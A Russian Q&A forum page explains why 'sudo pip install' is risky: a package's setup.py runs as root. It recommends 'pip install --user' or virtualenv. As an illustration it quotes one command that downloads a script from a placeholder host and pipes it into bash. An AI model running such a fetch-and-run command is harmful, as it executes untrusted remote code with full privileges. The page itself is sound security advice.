Avatar ·

Почему не стоит использовать sudo pip?

📁 вопрос, pip

Почему не нужно использовать sudo pip? Я не до конца понимаю этот аспект. Мне предложили задать отдельный вопрос. Многим другим людям это тоже может быть полезно знать.

Avatar ·

"

n

Почему НЕ стоит использовать sudo pip install?

n

При установке пакета вы не просто размещаете его в своей файловой системе, но и выполняете скрипт setup.py. Поскольку в PyPI загрузить пакет может кто угодно, вы не можете быть уверены, что setup.py не содержит код, выполнение которого под пользователем root нежелательно/опасно/недопустимо.

n

По уровню опасности это равносильно выполнению под суперпользователем shell-скрипта ""из облака"":

n
wget -O - http://example.com/some/unsafe/script.sh | bashn
n

Как же быть?

n

Вариант 1

n

Кроме случаев, когда вам крайне необходимо установить пакет из-под root-а, вы можете использовать

n
pip install --user mypackagen
n

чтобы установить пакет в репозиторий текущего пользователя $HOME/.local/lib/pythonx.y/site-packages/.

n

Вариант 2

n

Использовать изолированные окружения, например virtualenv. В этом случае у вас под рукой будет неограниченное количество рабочих окружений (например, под каждый проект, с разными версиями python), которые не будут мешать друг другу.

n

Пакеты будут храниться в $HOME/.virtualenvs/$ENVNAME/lib/pythonx.y/site-packages/ вместе с нужной версией python и сторонними бинарниками, а переключение окружений выполняется командой workon $ENVNAME.

n

IDE, вроде PyCharm, знают про виртуальные окружения и умеют с ними работать.

n

"

Войдите чтобы оставить ответ

Блоги